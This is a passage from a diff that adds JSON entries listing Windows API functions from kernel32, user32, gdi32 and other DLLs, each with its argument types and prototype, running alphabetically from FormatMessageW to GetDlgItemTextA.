"DWORD", + "DWORD", + "LPWSTR", + "DWORD", + "va_list *" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD FormatMessageW(DWORD dwFlags,PCVOID lpSource,DWORD dwMessageId,DWORD dwLanguageId,LPWSTR lpBuffer,DWORD nSize,va_list * Arguments);" + }, + { + "function_name": "FrameRect", + "arguments": [ + "HDC", + "CONST RECT *", + "HBRUSH" + ], + "dll_name": "user32.dll", + "full_prototype": "int FrameRect(HDC hDC,CONST RECT * lprc, HBRUSH hbr);" + }, + { + "function_name": "FrameRgn", + "arguments": [ + "HDC", + "HRGN", + "HBRUSH", + "int", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL FrameRgn(HDC hdc,HRGN hrgn, HBRUSH hbr, int nWidth,int nHeight);" + }, + { + "function_name": "FreeConsole", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL FreeConsole(VOID);" + }, + { + "function_name": "FreeDDElParam", + "arguments": [ + "UINT", + "LONG" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL FreeDDElParam(UINT msg, LONG lParam);" + }, + { + "function_name": "FreeEnvironmentStringsA", + "arguments": [ + "LPTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL FreeEnvironmentStringsA( LPTSTR lpszEnvironmentBlock );" + }, + { + "function_name": "FreeEnvironmentStringsW", + "arguments": [ + "LPWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL FreeEnvironmentStringsW(LPWSTR lpszEnvironmentBlock);" + }, + { + "function_name": "FreeLibrary", + "arguments": [ + "HMODULE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL FreeLibrary(HMODULE hModule);" + }, + { + "function_name": "FreeLibraryAndExitThread", + "arguments": [ + "HMODULE", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID FreeLibraryAndExitThread( HMODULE hLibModule, DWORD dwExitCode );" + }, + { + "function_name": "FreeResource", + "arguments": [ + "HGLOBAL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL FreeResource(HGLOBAL hResource);" + }, + { + "function_name": "FreeSid", + "arguments": [ + "PSID" + ], + "dll_name": "advapi32.dll", + "full_prototype": "PVOID FreeSid( PSID pSid );" + }, + { + "function_name": "FtpCreateDirectoryA", + "arguments": [ + "IN HINTERNET", + "IN LPCTSTR" + ], + "dll_name": "wininet.dll", + "full_prototype": "BOOL FtpCreateDirectory( IN HINTERNET hFtpSession, IN LPCTSTR lpszDirectory);" + }, + { + "function_name": "FtpOpenFileA", + "arguments": [ + "HINTERNET", + "LPCTSTR", + "DWORD", + "DWORD", + "DWORD" + ], + "dll_name": "wininet.dll", + "full_prototype": "HINTERNET FtpOpenFileA( HINTERNET hConnect, LPCTSTR lpszFileName, DWORD dwAccess, DWORD dwFlags, DWORD dwContext);" + }, + { + "function_name": "FtpOpenFileW", + "arguments": [ + "WORKREQUEST*" + ], + "dll_name": "wininet.dll", + "full_prototype": "static void FtpOpenFileW(WORKREQUEST* workRequest);" + }, + { + "function_name": "GdiComment", + "arguments": [ + "HDC", + "UINT", + "CONST BYTE *" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GdiComment(HDC hdc, UINT cbSize, CONST BYTE * lpData);" + }, + { + "function_name": "GdiFlush", + "arguments": [ + "" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GdiFlush(VOID);" + }, + { + "function_name": "GdiGetBatchLimit", + "arguments": [ + "" + ], + "dll_name": "gdi32.dll", + "full_prototype": "DWORD GdiGetBatchLimit(VOID);" + }, + { + "function_name": "GdiSetBatchLimit", + "arguments": [ + "DWORD" + ], + "dll_name": "gdi32.dll", + "full_prototype": "DWORD GdiSetBatchLimit(DWORD dwLimit);" + }, + { + "function_name": "GenerateConsoleCtrlEvent", + "arguments": [ + "DWORD", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GenerateConsoleCtrlEvent( DWORD dwCtrlEvent, DWORD dwProcessGroupId);" + }, + { + "function_name": "GetAce", + "arguments": [ + "PACL", + "DWORD", + "LPVOID" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL GetAce( PACL pAcl, DWORD dwAceIndex, LPVOID *pAce );" + }, + { + "function_name": "GetAclInformation", + "arguments": [ + "PACL", + "LPVOID", + "DWORD", + "ACL_INFORMATION_CLASS" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL GetAclInformation( PACL pAcl, LPVOID pAclInformation, DWORD nAclInformationLength, ACL_INFORMATION_CLASS dwAclInformationClass );" + }, + { + "function_name": "GetACP", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT GetACP(VOID);" + }, + { + "function_name": "GetActiveWindow", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND GetActiveWindow(VOID);" + }, + { + "function_name": "GetArcDirection", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int GetArcDirection(HDC hdc);" + }, + { + "function_name": "GetAspectRatioFilterEx", + "arguments": [ + "HDC", + "LPSIZE" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetAspectRatioFilterEx(HDC hdc, LPSIZE lpAspectRatio);" + }, + { + "function_name": "GetAsyncKeyState", + "arguments": [ + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "SHORT GetAsyncKeyState(int vKey);" + }, + { + "function_name": "GetAtomNameA", + "arguments": [ + "ATOM", + "LPTSTR", + "int" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT GetAtomNameA( ATOM nAtom, LPTSTR lpBuffer, int nSize );" + }, + { + "function_name": "GetAtomNameW", + "arguments": [ + "ATOM", + "LPWSTR", + "INT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT GetAtomNameW( ATOM atom, LPWSTR buffer, INT count );" + }, + { + "function_name": "GetBinaryTypeA", + "arguments": [ + "LPCTSTR", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetBinaryTypeA( LPCTSTR lpApplicationName, LPDWORD lpBinaryType );" + }, + { + "function_name": "GetBinaryTypeW", + "arguments": [ + "LPCWSTR", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetBinaryTypeW( LPCWSTR lpApplicationName, LPDWORD lpBinaryType );" + }, + { + "function_name": "GetBitmapBits", + "arguments": [ + "HBITMAP", + "LONG", + "LPVOID" + ], + "dll_name": "gdi32.dll", + "full_prototype": "LONG GetBitmapBits(HBITMAP hbmp, LONG cbBuffer, LPVOID lpvBits);" + }, + { + "function_name": "GetBitmapDimensionEx", + "arguments": [ + "HBITMAP", + "LPSIZE" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetBitmapDimensionEx(HBITMAP hBitmap,LPSIZE lpDimension);" + }, + { + "function_name": "GetBkColor", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "COLORREF GetBkColor(HDC hdc);" + }, + { + "function_name": "GetBkMode", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int GetBkMode(HDC hdc);" + }, + { + "function_name": "GetBoundsRect", + "arguments": [ + "HDC", + "LPRECT", + "UINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "UINT GetBoundsRect(HDC hdc, LPRECT lprcBounds, UINT flags);" + }, + { + "function_name": "GetBrushOrgEx", + "arguments": [ + "HDC", + "LPPOINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetBrushOrgEx(HDC hdc, LPPOINT lppt);" + }, + { + "function_name": "GetCapture", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND GetCapture(VOID);" + }, + { + "function_name": "GetCaretBlinkTime", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "UINT GetCaretBlinkTime(VOID);" + }, + { + "function_name": "GetCaretPos", + "arguments": [ + "LPPOINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GetCaretPos(LPPOINT lpPoint);" + }, + { + "function_name": "GetCharABCWidthsA", + "arguments": [ + "HDC", + "UINT", + "UINT", + "LPABC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetCharABCWidthsA(HDC hdc, UINT uFirstChar, UINT uLastChar, LPABC lpabc);" + }, + { + "function_name": "GetCharABCWidthsW", + "arguments": [ + "HDC", + "UINT", + "UINT", + "LPABC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetCharABCWidthsW(HDC hdc, UINT firstChar, UINT lastChar, LPABC abc);" + }, + { + "function_name": "GetCharABCWidthsFloatA", + "arguments": [ + "HDC", + "UINT", + "UINT", + "LPABCFLOAT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetCharABCWidthsFloatA(HDC hdc, UINT iFirstChar, UINT iLastChar,LPABCFLOAT lpABCF);" + }, + { + "function_name": "GetCharABCWidthsFloatW", + "arguments": [ + "HDC", + "UINT", + "UINT", + "LPABCFLOAT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetCharABCWidthsFloatW(HDC hdc, UINT first, UINT last, LPABCFLOAT abcf);" + }, + { + "function_name": "GetCharWidth32A", + "arguments": [ + "HDC", + "UINT", + "UINT", + "LPINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetCharWidth32A(HDC hdc, UINT iFirstChar, UINT iLastChar, LPINT lpBuffer);" + }, + { + "function_name": "GetCharWidth32W", + "arguments": [ + "HDC", + "UINT", + "UINT", + "LPINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetCharWidth32W(HDC hdc, UINT iFirstChar, UINT iLastChar, LPINT lpBuffer);" + }, + { + "function_name": "GetCharWidthA", + "arguments": [ + "HDC", + "UINT", + "UINT", + "LPINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetCharWidthA(HDC hdc, UINT iFirstChar, UINT iLastChar,LPINT lpBuffer);" + }, + { + "function_name": "GetCharWidthW", + "arguments": [ + "HDC", + "UINT", + "UINT", + "LPINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetCharWidthW(HDC hdc, UINT iFirstChar, UINT iLastChar,LPINT lpBuffer);" + }, + { + "function_name": "GetCharWidthFloatA", + "arguments": [ + "HDC", + "UINT", + "UINT", + "PFLOAT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetCharWidthFloatA(HDC hdc, UINT iFirstChar, UINT iLastChar, PFLOAT pxBuffer);" + }, + { + "function_name": "GetCharWidthFloatW", + "arguments": [ + "HDC", + "UINT", + "UINT", + "PFLOAT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetCharWidthFloatW(HDC hdc, UINT iFirstChar, UINT iLastChar, PFLOAT pxBuffer);" + }, + { + "function_name": "GetCharacterPlacementA", + "arguments": [ + "HDC", + "LPCTSTR", + "int", + "int", + "LPGCP_RESULTS", + "DWORD" + ], + "dll_name": "gdi32.dll", + "full_prototype": "DWORD GetCharacterPlacementA(HDC hdc, LPCTSTR lpString,int nCount, int nMaxExtent, LPGCP_RESULTS *lpResults, DWORD dwFlags);" + }, + { + "function_name": "GetCharacterPlacementW", + "arguments": [ + "HDC", + "LPCWSTR", + "int", + "int", + "GCP_RESULTSW*", + "DWORD" + ], + "dll_name": "gdi32.dll", + "full_prototype": "DWORD GetCharacterPlacementW(HDC hdc, LPCWSTR lpString, int uCount, int nMaxExtent, GCP_RESULTSW* lpResults, DWORD dwFlags);" + }, + { + "function_name": "GetClassInfoA", + "arguments": [ + "HINSTANCE", + "LPCTSTR", + "LPWNDCLASS" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GetClassInfoA(HINSTANCE hInstance, LPCTSTR lpClassName, LPWNDCLASS lpWndClass);" + }, + { + "function_name": "GetClassInfoExA", + "arguments": [ + "HINSTANCE", + "LPCTSTR", + "LPWNDCLASSEX" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GetClassInfoExA(HINSTANCE hinst, LPCTSTR lpszClass, LPWNDCLASSEX lpwcx);" + }, + { + "function_name": "GetClassInfoExW", + "arguments": [ + "HINSTANCE", + "LPCWSTR", + "LPWNDCLASSEXW" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GetClassInfoExW(HINSTANCE hinst, LPCWSTR lpszClass, LPWNDCLASSEXW lpwcx);" + }, + { + "function_name": "GetClassInfoW", + "arguments": [ + "HINSTANCE", + "LPCTSTR", + "LPWNDCLASS" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GetClassInfoW(HINSTANCE hInstance, LPCTSTR lpClassName, LPWNDCLASS lpWndClass);" + }, + { + "function_name": "GetClassLongA", + "arguments": [ + "HWND", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "DWORD GetClassLongA(HWND hWnd,int nIndex);" + }, + { + "function_name": "GetClassLongW", + "arguments": [ + "HWND", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "DWORD GetClassLongW(HWND hWnd, int nIndex);" + }, + { + "function_name": "GetClassNameA", + "arguments": [ + "HWND", + "LPTSTR", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "int GetClassNameA(HWND hWnd,LPTSTR lpClassName,int nMaxCount);" + }, + { + "function_name": "GetClassNameW", + "arguments": [ + "HWND", + "LPWSTR", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "int GetClassNameW(HWND hWnd, LPWSTR lpClassName, int nMaxCount);" + }, + { + "function_name": "GetClassWord", + "arguments": [ + "HWND", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "WORD GetClassWord(HWND hWnd, int nIndex);" + }, + { + "function_name": "GetClientRect", + "arguments": [ + "HWND", + "LPRECT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GetClientRect(HWND hWnd, LPRECT lpRect);" + }, + { + "function_name": "GetClipboardData", + "arguments": [ + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "HANDLE GetClipboardData(UINT uFormat);" + }, + { + "function_name": "GetClipboardFormatNameA", + "arguments": [ + "UINT", + "LPTSTR", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "int GetClipboardFormatNameA(UINT format, LPTSTR lpszFormatName,int cchMaxCount);" + }, + { + "function_name": "GetClipboardFormatNameW", + "arguments": [ + "UINT", + "LPWSTR", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "int GetClipboardFormatNameW(UINT format, LPWSTR lpszFormatName,int cchMaxCount);" + }, + { + "function_name": "GetClipboardOwner", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND GetClipboardOwner(VOID);" + }, + { + "function_name": "GetClipboardViewer", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND GetClipboardViewer(VOID);" + }, + { + "function_name": "GetClipBox", + "arguments": [ + "HDC", + "LPRECT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int GetClipBox(HDC hdc, LPRECT lprc);" + }, + { + "function_name": "GetClipCursor", + "arguments": [ + "LPRECT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GetClipCursor(LPRECT lpRect);" + }, + { + "function_name": "GetClipRgn", + "arguments": [ + "HDC", + "HRGN" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int GetClipRgn(HDC hdc, HRGN hrgn);" + }, + { + "function_name": "GetColorAdjustment", + "arguments": [ + "HDC", + "LPCOLORADJUSTMENT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetColorAdjustment(HDC hdc, LPCOLORADJUSTMENT lpca);" + }, + { + "function_name": "GetColorSpace", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HANDLE GetColorSpace(HDC hdc);" + }, + { + "function_name": "GetCommandLineA", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LPTSTR GetCommandLineA(void);" + }, + { + "function_name": "GetCommandLineW", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LPWSTR GetCommandLineW(VOID);" + }, + { + "function_name": "GetCommConfig", + "arguments": [ + "HANDLE", + "LPCOMMCONFIG", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetCommConfig( HANDLE hCommDev, LPCOMMCONFIG lpCC, LPDWORD lpdwSize );" + }, + { + "function_name": "GetCommMask", + "arguments": [ + "HANDLE", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetCommMask( HANDLE hFile, LPDWORD lpEvtMask );" + }, + { + "function_name": "GetCommModemStatus", + "arguments": [ + "HANDLE", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetCommModemStatus( HANDLE hFile, LPDWORD lpModemStat );" + }, + { + "function_name": "GetCommProperties", + "arguments": [ + "HANDLE", + "LPCOMMPROP" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetCommProperties( HANDLE hFile, LPCOMMPROP lpCommProp );" + }, + { + "function_name": "GetCommState", + "arguments": [ + "HANDLE", + "LPDCB" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetCommState( HANDLE hFile, LPDCB lpDCB );" + }, + { + "function_name": "GetCommTimeouts", + "arguments": [ + "HANDLE", + "LPCOMMTIMEOUTS" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetCommTimeouts( HANDLE hFile, LPCOMMTIMEOUTS lpCommTimeouts );" + }, + { + "function_name": "GetCompressedFileSizeA", + "arguments": [ + "LPCTSTR", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetCompressedFileSizeA( LPCTSTR lpFileName, LPDWORD lpFileSizeHigh );" + }, + { + "function_name": "GetCompressedFileSizeW", + "arguments": [ + "LPCWSTR", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetCompressedFileSizeW( LPCWSTR name, LPDWORD size_high );" + }, + { + "function_name": "GetComputerNameA", + "arguments": [ + "LPTSTR", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetComputerNameA(LPTSTR lpBuffer,LPDWORD nSize);" + }, + { + "function_name": "GetComputerNameW", + "arguments": [ + "LPWSTR", + "PDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetComputerNameW(LPWSTR lpBuffer,PDWORD nSize);" + }, + { + "function_name": "GetComputerNameExA", + "arguments": [ + "COMPUTER_NAME_FORMAT", + "LPTSTR", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetComputerNameExA(COMPUTER_NAME_FORMAT NameType, LPTSTR lpBuffer, LPDWORD lpnSize);" + }, + { + "function_name": "GetComputerObjectNameA", + "arguments": [ + "EXTENDED_NAME_FORMAT", + "LPTSTR", + "PULONG" + ], + "dll_name": "secur32.dll", + "full_prototype": "BOOLEAN GetComputerObjectNameA( EXTENDED_NAME_FORMAT NameFormat, LPTSTR lpNameBuffer, PULONG lpnSize);" + }, + { + "function_name": "GetConsoleCursorInfo", + "arguments": [ + "HANDLE", + "PCONSOLE_CURSOR_INFO" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetConsoleCursorInfo( HANDLE hConsoleOutput, PCONSOLE_CURSOR_INFO lpConsoleCursorInfo );" + }, + { + "function_name": "GetConsoleCP", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT GetConsoleCP(VOID);" + }, + { + "function_name": "GetConsoleMode", + "arguments": [ + "HANDLE", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetConsoleMode( HANDLE hConsoleHandle, LPDWORD lpMode );" + }, + { + "function_name": "GetConsoleOutputCP", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT GetConsoleOutputCP(VOID);" + }, + { + "function_name": "GetConsoleScreenBufferInfo", + "arguments": [ + "HANDLE", + "PCONSOLE_SCREEN_BUFFER_INFO" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetConsoleScreenBufferInfo( HANDLE hConsoleOutput, PCONSOLE_SCREEN_BUFFER_INFO lpConsoleScreenBufferInfo );" + }, + { + "function_name": "GetConsoleTitleA", + "arguments": [ + "LPSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetConsoleTitleA(LPSTR title, DWORD size);" + }, + { + "function_name": "GetConsoleTitleW", + "arguments": [ + "LPWSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetConsoleTitleW( LPWSTR title, DWORD size );" + }, + { + "function_name": "GetCPInfo", + "arguments": [ + "UINT", + "LPCPINFO" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetCPInfo(UINT CodePage, LPCPINFO lpCPInfo);" + }, + { + "function_name": "GetCurrencyFormatA", + "arguments": [ + "LCID", + "DWORD", + "LPCTSTR", + "CONST CURRENCYFMT *", + "LPTSTR", + "int" + ], + "dll_name": "kernel32.dll", + "full_prototype": "int GetCurrencyFormatA( LCID Locale, DWORD dwFlags, LPCTSTR lpValue, CONST CURRENCYFMT * lpFormat, LPTSTR lpCurrencyStr, int cchCurrency );" + }, + { + "function_name": "GetCurrencyFormatW", + "arguments": [ + "LCID", + "DWORD", + "LPCWSTR", + "const CURRENCYFMTW*", + "LPWSTR", + "int" + ], + "dll_name": "kernel32.dll", + "full_prototype": "INT GetCurrencyFormatW( LCID lcid, DWORD dwFlags, LPCWSTR lpszValue, const CURRENCYFMTW* lpFormat, LPWSTR lpCurrencyStr, int cchOut );" + }, + { + "function_name": "GetCurrentDirectoryA", + "arguments": [ + "DWORD", + "LPTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetCurrentDirectoryA( DWORD nBufferLength, LPTSTR lpBuffer);" + }, + { + "function_name": "GetCurrentDirectoryW", + "arguments": [ + "DWORD", + "LPWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetCurrentDirectoryW(DWORD nBufferLength,LPWSTR lpBuffer);" + }, + { + "function_name": "GetCurrentHwProfileA", + "arguments": [ + "LPHW_PROFILE_INFOA" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL GetCurrentHwProfileA( LPHW_PROFILE_INFOA pInfo );" + }, + { + "function_name": "GetCurrentHwProfileW", + "arguments": [ + "LPHW_PROFILE_INFOW" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL GetCurrentHwProfileW( LPHW_PROFILE_INFOW pInfo );" + }, + { + "function_name": "GetCurrentObject", + "arguments": [ + "HDC", + "UINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HGDIOBJ GetCurrentObject(HDC hdc, UINT uObjectType);" + }, + { + "function_name": "GetCurrentPositionEx", + "arguments": [ + "HDC", + "LPPOINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetCurrentPositionEx(HDC hdc, LPPOINT lpPoint);" + }, + { + "function_name": "GetCurrentProcess", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE WINAPI GetCurrentProcess(void);" + }, + { + "function_name": "GetCurrentProcessId", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetCurrentProcessId(VOID);" + }, + { + "function_name": "GetCurrentProcessorNumber", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetCurrentProcessorNumber(void);" + }, + { + "function_name": "GetCurrentThread", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE WINAPI GetCurrentThread(void);" + }, + { + "function_name": "GetCurrentThreadId", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD WINAPI GetCurrentThreadId(void);" + }, + { + "function_name": "GetCursor", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "HCURSOR GetCursor(VOID);" + }, + { + "function_name": "GetCursorPos", + "arguments": [ + "LPPOINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GetCursorPos(LPPOINT lpPoint);" + }, + { + "function_name": "GetDateFormatA", + "arguments": [ + "LCID", + "DWORD", + "CONST SYSTEMTIME *", + "LPCTSTR", + "LPTSTR", + "int" + ], + "dll_name": "kernel32.dll", + "full_prototype": "int GetDateFormatA( LCID Locale, DWORD dwFlags, CONST SYSTEMTIME * lpDate, LPCTSTR lpFormat, LPTSTR lpDateStr, int cchDate );" + }, + { + "function_name": "GetDateFormatW", + "arguments": [ + "LCID", + "DWORD", + "const SYSTEMTIME*", + "LPCWSTR", + "LPWSTR", + "int" + ], + "dll_name": "kernel32.dll", + "full_prototype": "int GetDateFormatW( LCID lcid, DWORD dwFlags, const SYSTEMTIME* lpTime, LPCWSTR lpFormat, LPWSTR lpDateStr, int cchOut );" + }, + { + "function_name": "GetDC", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "HDC GetDC(HWND hWnd);" + }, + { + "function_name": "GetDCEx", + "arguments": [ + "HWND", + "HRGN", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "HDC GetDCEx(HWND hWnd, HRGN hrgnClip, DWORD flags);" + }, + { + "function_name": "GetDCOrgEx", + "arguments": [ + "HDC", + "LPPOINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetDCOrgEx(HDC hdc, LPPOINT lpPoint);" + }, + { + "function_name": "GetDefaultCommConfigA", + "arguments": [ + "LPCSTR", + "LPCOMMCONFIG", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetDefaultCommConfigA( LPCSTR lpszName, LPCOMMCONFIG lpCC, LPDWORD lpdwSize );" + }, + { + "function_name": "GetDefaultCommConfigW", + "arguments": [ + "LPCWSTR", + "LPCOMMCONFIG", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetDefaultCommConfigW( LPCWSTR lpszName, LPCOMMCONFIG lpCC, LPDWORD lpdwSize );" + }, + { + "function_name": "GetDesktopWindow", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND GetDesktopWindow(VOID);" + }, + { + "function_name": "GetDeviceCaps", + "arguments": [ + "HDC", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int GetDeviceCaps(HDC hdc,int nIndex);" + }, + { + "function_name": "GetDeviceGammaRamp", + "arguments": [ + "HDC", + "LPVOID" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetDeviceGammaRamp(HDC hdc, LPVOID lpRamp);" + }, + { + "function_name": "GetDialogBaseUnits", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "LONG GetDialogBaseUnits(VOID);" + }, + { + "function_name": "GetDIBColorTable", + "arguments": [ + "HDC", + "UINT", + "UINT", + "RGBQUAD" + ], + "dll_name": "gdi32.dll", + "full_prototype": "UINT GetDIBColorTable(HDC hdc,UINT uStartIndex, UINT cEntries, RGBQUAD *pColors);" + }, + { + "function_name": "GetDIBits", + "arguments": [ + "HDC", + "HBITMAP", + "UINT", + "UINT", + "LPVOID", + "LPBITMAPINFO", + "UINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int GetDIBits(HDC hdc,HBITMAP hbmp, UINT uStartScan, UINT cScanLines, LPVOID lpvBits,LPBITMAPINFO lpbi, UINT uUsage);" + }, + { + "function_name": "GetDiskFreeSpaceA", + "arguments": [ + "LPCTSTR", + "LPDWORD", + "LPDWORD", + "LPDWORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetDiskFreeSpaceA( LPCTSTR lpRootPathName, LPDWORD lpSectorsPerCluster, LPDWORD lpBytesPerSector, LPDWORD lpNumberOfFreeClusters, LPDWORD lpTotalNumberOfClusters );" + }, + { + "function_name": "GetDiskFreeSpaceExA", + "arguments": [ + "LPCSTR", + "PULARGE_INTEGER", + "PULARGE_INTEGER", + "PULARGE_INTEGER" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetDiskFreeSpaceExA( LPCSTR root, PULARGE_INTEGER avail, PULARGE_INTEGER total, PULARGE_INTEGER totalfree );" + }, + { + "function_name": "GetDiskFreeSpaceExW", + "arguments": [ + "LPCWSTR", + "PULARGE_INTEGER", + "PULARGE_INTEGER", + "PULARGE_INTEGER" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetDiskFreeSpaceExW( LPCWSTR root, PULARGE_INTEGER avail, PULARGE_INTEGER total, PULARGE_INTEGER totalfree );" + }, + { + "function_name": "GetDiskFreeSpaceW", + "arguments": [ + "LPCWSTR", + "PDWORD", + "PDWORD", + "PDWORD", + "PDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetDiskFreeSpaceW(LPCWSTR lpRootPathName,PDWORD lpSectorsPerCluster,PDWORD lpBytesPerSector,PDWORD lpNumberOfFreeClusters,PDWORD lpTotalNumberOfClusters);" + }, + { + "function_name": "GetDlgCtrlID", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "int GetDlgCtrlID(HWND hwndCtl);" + }, + { + "function_name": "GetDlgItem", + "arguments": [ + "HWND", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND GetDlgItem(HWND hDlg,int nIDDlgItem);" + }, + { + "function_name": "GetDlgItemInt", + "arguments": [ + "HWND", + "int", + "BOOL*", + "BOOL" + ], + "dll_name": "user32.dll", + "full_prototype": "UINT GetDlgItemInt(HWND hDlg,int nIDDlgItem, BOOL* lpTranslated, BOOL bSigned);" + }, + { + "function_name": "GetDlgItemTextA", + "arguments": [ + "HWND", + "int", + "LPTSTR", + "int" + ], + "dll_name": 